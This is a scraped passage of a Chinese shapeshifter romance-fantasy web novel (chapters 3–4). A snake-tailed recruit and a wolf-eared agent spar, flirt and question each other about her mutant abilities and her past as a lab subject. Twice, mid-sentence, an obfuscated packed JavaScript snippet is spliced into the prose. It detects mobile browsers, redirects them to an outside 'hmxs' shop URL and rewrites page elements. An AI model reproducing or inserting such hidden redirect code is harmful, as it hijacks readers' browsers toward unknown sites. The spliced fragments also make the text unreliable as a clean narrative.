《在异变世界做个人吧[人外]》 3. 他怕女人？ 听到钟离绯的质问，凌琅低头一笑。 他没有直接捅破钟离绯的谎言。 毕竟，钟离绯知晓了他的身份，无论是敌是友，都不能放任不管。 “你的尾巴，放松些，这么对待自己的队友，不礼貌了哦。”凌琅没有跟着钟离绯的节奏走，自顾自地岔开了话题。 钟离绯闻言，继续用力绞紧凌琅，尾巴尖顺着凌琅的脖子向上，抵住他的下巴，撇撇嘴故作委屈地说，“啊？队友？可前辈没把我当队友呢。” 凌琅歪头躲开了钟离绯尾巴的挑逗，他的耳朵慢慢浮现了一层淡淡的红，仿佛是被蛇尾绞得呼吸不畅了。 凌琅略微有些喘，像是在极力保持平静，“能抗住，时空凝滞的，不是普通人。” 钟离绯面色一怔，她的担心，决不能被凌琅看见，转瞬间她已换上了一副矫揉造作的模样，“会不会是你太弱了？前、辈。” 凌琅听闻，一只手化出狼爪，抓着盘在腰间的蛇尾，爪尖的尖刺正要撬开钟离绯的鳞片。 “你……” “弱吗？”凌琅耳朵上的红，已由淡变浓，红得快要滴血似的。不知是被绞得难受，还是心底燃起了一股无明业火。 男人可听不得“弱”这个字。 钟离绯想抽回蛇尾，但凌琅抠住她的鳞片，稍微使点劲儿都有些生疼，她难耐地翻了个白眼，“我数到三，给我松爪！” “如果我不呢？”凌琅另一只手慢慢地逆着蛇鳞抚摸着她的尾巴，鳞片很凉，手感很滑，算得上是夏日消暑神器。 “你的手，老实一点！”钟离绯连忙释出神经毒素，化成一条绳子缠上凌琅的手。 “这就是你求人松手的态度？”凌琅只是盯着那条绳子一会儿，便又直接解除了禁锢。 他究竟是什么啊！ 钟离绯一股邪气冲上脑门，她呲着牙，紧蹙双眉死死地瞪着凌琅。 凌琅见她没办法了，得意洋洋道，“你就这点本事？” 他抓着钟离绯的尾巴，正准备把她拉过来。突然手上有种被人敲打麻经的酸胀感，让凌琅立马卸力了。 蛇尾解放的瞬间，钟离绯攀着墙面，轻盈一跃跳上了楼，沿着安全通道跑开。 凌琅望着钟离绯离开的方向，自言自语补了句，“这人，有点东西。” 钟离绯的蛇尾能够放毒。 凌琅低头看看自己的手，掌心有一条长长的红色印子，但一会儿便消散了，看来毒素并不强烈。 转眼无意识地瞥见地上有两片脱落的蛇鳞，在破败的残垣断壁中熠熠发光。 凌琅俯身捡起，用袖口拭去鳞片上的灰尘，小心翼翼地把它收纳进胸口的口袋。 ** 钟离绯到考场入口处和大部队集合。 主考官在广播里通知，“因不可抗力因素，考核中断。请各位预备干员静待后续安排。” 除了让他们让回去，别的什么也没说。 ** 钟离绯排队返还装备时，一旁协助的工作人员看到她登记的名字，抬头确认道，“你就是钟离绯？” “是，怎么了？” “你稍等，”工作人员在电子屏上操作了一会儿，“你现在去联邦特勤局B区311报道。” “我？”钟离绯没有反应过来，“为什么？” “恭喜你，被特批进入红骑士了。”工作人员朝钟离绯点头示意，眼里满是欣赏，“年轻一代里，这么强的，不多见了。” 钟离绯刚想要感谢，凌琅不知从哪里冒出来，站在他身后随意地说，“要我送你吗？” 工作人员看见凌琅，双眼直冒爱心，“凌哥，你怎么在这儿？不是，凌哥，你要去局里吗？” “嗯。”凌琅应道。 钟离绯没搭理他，一个人转身走出了考场。 “她怎么这样啊？”工作人员替被冷落的凌琅打抱不平。 “没事儿，不用管她。”凌琅朝工作人员点点头，“今天辛苦了，早点收拾完回去吧。” ** 封烬给的那张□□，竟然连联邦特勤局也能进去。 在经过了一层层安检和审查之后，钟离绯终于到了B区311室。 这是一间很大的会议室，一张大条形桌在中间，周围坐满了人。 讲台上有一位挑染了绿色头发的青年男子在讲话，看到钟离绯到门口，便迎了上去，“来，我给大家介绍一下，这是钟离绯，拟态是红珊瑚海蛇，本次考核的预备干员之一，就是她刚刚和凌哥一起在考场成功击杀了一只兽骸。” 说到这里，台下哇声一片。 讲话的青年男子是行动队队长程瞬，行动队来了一位得力干将，他的欣喜之情溢于言表，说话的声音逐渐高昂，显而易见的兴奋，“由凌哥亲自点名，作为本次的特招，现在欢迎钟离绯加入我们红骑士行动队！鼓掌！” 台下又是此起彼伏的起哄声，“哇喔~” 甚至还有胆大的，吹起了口哨，“哇！凌哥亲自点名诶！” 钟离绯还不清楚情况，她在脑子里快速思考了一下，当下作为一个新人，应该表现得低调害羞。 于是，她红着脸，不好意思地耸了耸肩，“以后，还请多多关照。” 于是，她又在一片起哄声中，坐到了凌琅对面的位置上——她不是故意的，整张桌子只有凌琅对面的位置还空着。 她一坐下来，就竖起蛇瞳盯着凌琅，感受到注视的凌琅转过头，嘴角带着温和的笑意上扬，双眼闪着星光地看向钟离绯。 突然的对视，莫名的尴尬，钟离绯感觉心跳都漏了一拍，她马上移开视线，不自在地看着讲台上的程瞬，他正打着官腔分析兽骸的危害。 ** 邻座的苏溪嗅到了八卦的气息，她用手肘捅了捅钟离绯，小声地问，“你之前认识凌哥吗？” “不认识，怎么了？” “可他看你老半天了。”苏溪朝钟离绯努努嘴，让她往对面看。 钟离绯没转头，还是一如既往地看着讲台上说话的人，随口应了一句，“或许我长得像他前任吧？” “你真是幽我一默啊。”苏溪捂住嘴巴，避免在这个严肃的分析会议上不合时宜地笑出声，“说真的，你们什么关系啊？” “我真的是今天去考场才见到他的。”钟离绯没开玩笑，她收回视线，很认真地回答苏溪。 “真的吗？我不信，凌哥从不接近女生的。你，不简单啊。”苏溪沉浸在自己的思维里，压根不在意钟离绯的解释。 “啊这……”钟离绯竟无言以对。 但话说回来，自己的目的是混入特勤局，而凌琅顺水推舟的目的又是什么呢？ 想到这里，钟离绯觉得是时候去会会他了。 她快速写了一张小字条，在会议桌下伸出尾巴，慢悠悠地爬到凌琅脚边，轻轻拍了拍他的脚背。 钟离绯余光瞟到凌琅瞬间瞪大的双眼，她满意地勾起嘴角。 蛇尾顺着凌琅的小腿蜿蜒而上，蛇腹紧贴着凌琅的腿，所经之处留下一片冰凉，如隔靴搔痒，透过单薄的裤子传至凌琅的皮肤。 他肉眼可见的面颊发红，放在桌面的手不自觉地捏紧拳头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705083|189162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钟离绯斜眼一瞥，手指不经意地挡住藏不住笑意的嘴。 凌琅埋头呆滞地看着从大腿中间伸出来的蛇尾，勾着字条的尾巴尖轻轻摇晃了两下，让他快点拿下。 他用几近颤抖的手取下字条，蛇尾立马就缩了回去。 ——你想知道的，会后告诉你。 这时，会议室的全息投影闪烁了一下。 “怎么回事？”程瞬盯着投影看了看，发觉没事，只当它是电压不稳，继续在台上讲着有的没的。 坐在凌琅隔壁的干员看他脸上泛着异样的红晕，顺口关心道，“凌哥，热吗？” “有点不透气。”凌琅找个借口搪塞过去。 “我们要积极总结规律，预估出兽骸的未来发展趋势，希望大家能够积极思考起来，三天后开会制定战略行动预案，尽最大可能避免今日之事的再次发生……”讲台上的程瞬继续复盘分析着，而凌琅的思绪早就不在会议本身了。 钟离绯过分亲昵的举动，差一点让他没崩住暴走。 凌琅的能量会影响电磁稳定，刚才的投影闪烁就是他的能量一时没收住。 ** 会议结束，凌琅坐在位置上久久不起身。 同事们都走得差不多了，钟离绯看他还坐着，问道，“前辈生理期来了吗？刚看你红着脸不舒服，弄到椅子上了？” 凌琅龇着牙，脸部肌肉抽搐着，“你想说什么，说吧。” 钟离绯看看会议室四周，天花板上挂着两台监控，在这里，毫无秘密可言。 “换个安静的地方吧，你应该知道我要告诉你什么。” 凌琅带着钟离绯到了负一层的地下基因冷库中。 低温能够让凌琅保持冷静，能量也不容易暴走。 “为什么来这儿说？”钟离绯环顾四周，这里确实很安静，但基因冷库这种高级机密的地方，一般人是没有权限进来的。 凌琅没有正面回答她，只是在冷库中央的机械电子屏上操作着。 他调出了钟离绯的基因档案——【钟离绯。拟态认证：红珊瑚海蛇。拟态能力：幻形毒素。】 “拟态能力是神经控制系，异变能力却是复制系。”凌琅把电子屏移到钟离绯面前，“解释。” “解释，当然会解释，从什么地方解释呢？前辈你想让我解释什么呢？”钟离绯绕着弯子讲废话，像是故意在戏弄凌琅。 凌琅的手突然衍变为狼爪，他闪到钟离绯的身后圈住她的肩膀，狼爪钳住她的下颌，迫使她仰起头。 钟离绯想要用尾巴绞紧凌琅，却在刚碰到凌琅的瞬间，被狼爪死死按到墙上，让她动不了。 “又想绞我？没人告诉你，用过一次的招式，第二次就不管用了吗？”凌琅突然动手也是想要探探虚实。 钟离绯双手抓住凌琅的胳膊，抬头望向凌琅，她的眼底浮起一层水雾，在确定凌琅与她对视的时候，她的金色蛇瞳向内旋转收缩，那双眼睛变得深不见底。 凌琅只是看了她一眼，就感觉掉入了深渊。 他瞬间松手，狼爪也变回了骨节分明的人手。 凌琅有些发懵，一时之间竟然忘记了刚刚在做什么。 钟离绯抱着自己的蛇尾，楚楚可怜地揉搓着被凌琅按压的位置，“刚刚都把我按痛了。” “什么？”凌琅还处在短暂失忆的状态中没有缓过神来。 “我都说了，我会把你想知道的告诉你，你一进来不分青红皂白地就压我。”钟离绯噘着嘴委屈道。 凌琅还是没想明白自己刚才怎么回事，“刚刚……那是什么……” 4. 我越界了？ 钟离绯粲然一笑，抱着手臂倚在电子屏上，得意地看着被自己搞得发懵的凌琅，“记忆编织。我的异变能力，通过麻痹神经删减或者修改他人的记忆片段。” 凌琅听着，闭上眼睛试着回想了一下，只记得带钟离绯到基因冷库，后面发生了什么，他一点也想不起来。 凌琅想要说点什么，但张口的时候，却忘记了，“我……” “你好奇我的能力，我给你说了。你还有什么想问的？”钟离绯表面很顺从，实际上，内心已经开始彩排接下来的剧情了。 而凌琅呆了好一会儿才回过神，这样的能力在实战中蛮恐怖的，如果运用得巧妙也许还能精神控制他人，他犹豫了一下，问，“没有使用限制吗？” “有。”这个能力会耗费钟离绯大半精神力，也容易被反噬，所以她几乎不用。 “限制条件是什么？” “不清楚，还在摸索，但比较伤身。” 凌琅静静地听着，垂眼思考起来，她说的是真话吗？她值得相信吗？ 随即，他眨了眨眼，瞥向钟离绯，“那个复制系能力又是什么？” 终于，钟离绯开始了她预想中的表演。 她低头苦笑，皱起的眉头压低眼尾，满脸尽是无奈，紧接着，钟离绯站直身子，大叹了一口气，胸背随着叹气起伏，像是下了很大决心一般，缓缓开口道：“你知道普罗米修斯实验室吗？” 凌琅点头。 他知道那个对外宣称生物科技的研究所，也知道这个地方有做一些见不得人的勾当。 “普罗米修斯不知道从哪里知道我的异变能力，他们想要得到记忆编织。”钟离绯说着，却慢慢朝凌琅的方向靠近。 凌琅靠坐在操作台边，察觉到钟离绯的靠近，跟着往旁边挪了挪。 钟离绯不以为意，继续讲着，“我成了他们的实验品，编号Prometheus-Δ，他们叫我，德尔塔。” 凌琅听到这里，转头看她，但他的眼神并没有聚焦在钟离绯身上，不知道他看看什么，又或者是他透过钟离绯看到了谁。 “他们想要复制我的能力，可无论怎么研究，都没能成功，后来他们就把复制系的基因片段注入到我的身体里，想要通过这种方式复制出来。” 钟离绯再次朝凌琅靠近，几乎快要衣服贴衣服的程度了。 这一次，凌琅忘了躲开。 “但他们还是没有成功，反而催发了我的第二异变能力——深化。就是今天在废弃工厂那边你看到的那个。我可以复制别人的能力，通过神经传导扩大能力效果。” 数年前的那场大灾变后，人类被迫基因重组进化，大部分人进化成半兽化新人类，但普遍只有动物拟态，少数人有拟态能力，更少数人有异变能力，而像钟离绯这种催生了第二异变能力的人，更是少之又少。 钟离绯前摇了这么长，终于说到了这一部分，她转头想要看凌琅的反应。 凌琅此刻并没有多余表情，虽然他大部分时候都没有什么特别大的表情变化。 钟离绯看不出这个人的心思，凌琅对自己的态度也捉摸不透。 说友好吧，两个人一言不合就动手。说不友好吧，凌琅还主动推荐自己。 要不换个方式再试探一下？ ** 钟离绯靠着凌琅，低着头，隐隐约约能够听到几声抽泣，“我不想再过身上被插满管子，躺在实验仪器上动也不能动，整天浑浑噩噩被人抽血打针的日子了。” 凌琅僵直了身子，没有表情的脸上也浮现了一丝惊讶，他想伸手去推开钟离绯，没想到钟离绯却突然凑过来抱住他的脖子，“我好不容易偷偷跑出来，努力考进编制，因为只有政府能够保护我，联邦政府是我的庇护所。” 话及此，凌琅悬在空中的手不知道该怎么做，推开钟离绯似乎成了一件不合时宜的行为。 “我会好好工作，努力消灭兽骸维护社会稳定，所以，前辈可不可以不要赶我走？离开联邦政府，我真的会被抓回去！”钟离绯抬起头满脸是泪地望向凌琅，带着哭腔，瘪着嘴也止不住嘴角的颤抖。 “我没说要赶你走。”面对一个哭泣的女孩，凌琅手足无措，还悬在空中的手刚想伸去擦掉她的眼泪，却又立马缩回去了。 这不合适。 “那你为什么还要审问我？”钟离绯撅起嘴，斜眼不去看他。 “咳咳，”凌琅不自在地轻咳了两嗓子，随即有抓着他的胳膊，把她推到了基因检测仪面前，“例行审查。” “你不相信我？”钟离绯难以置信，疑惑不解地瞪着凌琅。 “我说过了，例行审查。”凌琅给钟离绯绑好安全带，把她送进了检测舱内。 ** 扫描仪滴滴滴地发出了警告红光：检测到非法基因编辑痕迹。 凌琅看到显示屏上的一串代码，表面依旧不动声色，暗地里却咬紧了后槽牙，他一直放在心底的事，终于得以验证。 钟离绯走出检测舱，带着点娇嗔说道，“看吧，我没有骗你。” 凌琅在她出来的那一秒，又伪装好了情绪，“也没有说你骗我，只是例行检查。” “好了好了，你都说了三遍了。我向来都是真心换真心，你还有什么顾虑呢？” “没什么顾……” 没想到，凌琅的话还未说完，下一秒，钟离绯走到操作台前，双手按在操作台边缘，把凌琅困在自己和操作台之间。 凌琅瞬间慌了神。 “我今天可是把我自己扒得干干净净地给你看了。”钟离绯的尾巴悄无声息地顺着凌琅的左脚慢慢缠绕上去，她往前压着身子，逼得凌琅直往后躲，“你是不是也应该给我看点什么呢？前、辈。” 在尾巴绕上凌琅胯骨的时候，他忍不住羞赧道，“你，越界了。” “越界？这不是你抓我尾巴的时候了？”钟离绯调笑道。 “我……”凌琅被堵得哑口无言。 看凌琅吃瘪，钟离绯继续进击，“在你耳朵还没出来之前，证明我还不够，越界。” 钟离绯又往前压低身子，凌琅已经快要躺在操作台上了。 钟离绯看着凌琅逐渐变色的脸颊，得逞地笑着，“原来前辈的弱点在这里。” “我不是……”凌琅立马否定。暴露弱点，是一件很致命的事情。 钟离绯打断了凌琅的辩解，“放心，我会帮前辈保守这个秘密的，包括你的隐藏身份，我也会守口如瓶。”她在嘴边做了个拉拉链的动作，朝凌琅眨眨眼睛。 随后，她凑到凌琅耳旁，放轻了声音，缓缓说道，“以后，还请前辈多教教我。” 凌琅的耳畔传来了一阵酥麻，心跳已扰乱了节奏，冷库的低温也止不住他逐渐暴热的脸颊。 他侧头躲开，皱起眉头，努力压制内心的躁动。 钟离绯浅笑着直起腰杆，还给了凌琅喘气的空间。 “不过，我有一个小小的请求，希望前辈能够答应我。”钟离绯收回蛇尾抱在手里。 “什么，请求。”凌琅微微侧身站立，眼神始终没有回到钟离绯身上。 “能把你的狼耳朵伸出来吗？我想撸一下。” “什么！”凌琅转头诧异 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705084|189162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着她。 “你知道的，我是冷血动物，身上只有鳞片，我没摸过毛茸茸，能不能让我，摸一下？”钟离绯可怜兮兮地苦苦哀求，“我在实验室里长大，没有朋友，也没接触过毛茸茸，我真的很想摸，就一下，可以吗？” “不可以。”凌琅冷脸拒绝。 “你都摸了我尾巴了，我摸一下你的耳朵，不过分吧？” “不行。”凌琅头也不回地走开了。 钟离绯蹦蹦跳跳地跟上去一直纠缠，但最后凌琅还是没同意。 ** 翌日，红骑士行动队的队员们结束了一上午的总结分析的文职工作，中午到员工食堂吃饭。 苏溪正在和钟离绯吐槽丑了吧唧的爬行科兽骸。 咚—— 食堂正中间的电子屏幕一声惊响，画面混乱地滚动着，最后停留在一张照片上，是钟离绯在“操作台咚”凌琅，蛇尾还正缠绕着他的小腿。 “哇喔——”食堂里爆发了同事们看热闹的起哄声。大家纷纷朝钟离绯的方向投来了八卦的目光。 坐在钟离绯对面的苏溪自然是不会放过这个好机会，“你还说你们没关系！” 钟离绯轻蔑一笑，胡诌起来，“这是他让我当他队友的例行检查。” 苏溪摇摇头，“到底是谁在检查谁啊？” 钟离绯不想过多解释，而旁边男人们的八卦已经盖过了所有。 “哇喔！烈女怕缠郎！” “都是蛇，你看你怎么不用尾巴去缠他啊！” “噢哟！凌哥脸红了！” “凌哥也有今天哈哈哈哈！” 几个男生看上去异常兴奋，甚至越说越激动。 凌琅就是在这样的声音之下，出现在食堂里的。 “哎哟，凌哥怎么来了？来，你坐这儿。”起哄声瞬间降了下去，男生狗腿地给凌琅让了一个位置。 “谢了，不用。”凌琅在食堂扫了一眼，看到钟离绯的位置，端了餐盘就过来了。 苏溪手忙脚乱地吃完最后一口饭就连忙跑开，给他俩腾出了空。 “前辈，来得可真够晚的，你慢慢吃。”钟离绯也吃完，准备端着盘子离开。 一股虚空的力量把她的餐盘放回桌上，也把她按回到椅子上。 “前辈，这是什么意思？”钟离绯感觉到肩头有个力量一直按着她，她没办法从椅子上起来。 “你又是什么意思？” 凌琅指的是大屏上的照片。 其他人似乎和他们中间隔着一个透明屏障，大家全都在一旁明目张胆地观察着他们的动静。 钟离绯指着屏幕，“你觉得是我做的？” “不是吗？” “我哪有那本事啊？我才到红骑士第二天，连冷库都没有权限打开。” 凌琅低头不语，只是一味地吃饭。 “我还以为是你和同事们官宣队友呢。”钟离绯捂着脸，像是很害羞的样子，做作扭捏地说着，还伸出尾巴绕上了凌琅的小腿。 大庭广众之下，那么多双八卦的眼睛全都汇聚到了这里，“哇——” 钟离绯肩膀上的力量瞬间没有了。 凌琅面无表情地吃着饭，语气平淡地回着，“你，又越界了。” 钟离绯睁大她的金色蛇瞳，瞟了旁边八卦的同事们，继续故作扭捏，歪着脑袋问，“前辈，你好敏感啊……” 【嘟——】 刺耳的警报打断了钟离绯的话。 【全体注意！全体注意！牺牲干员遗体失窃！请红骑士队员即刻前往B3会议室召开紧急会议。】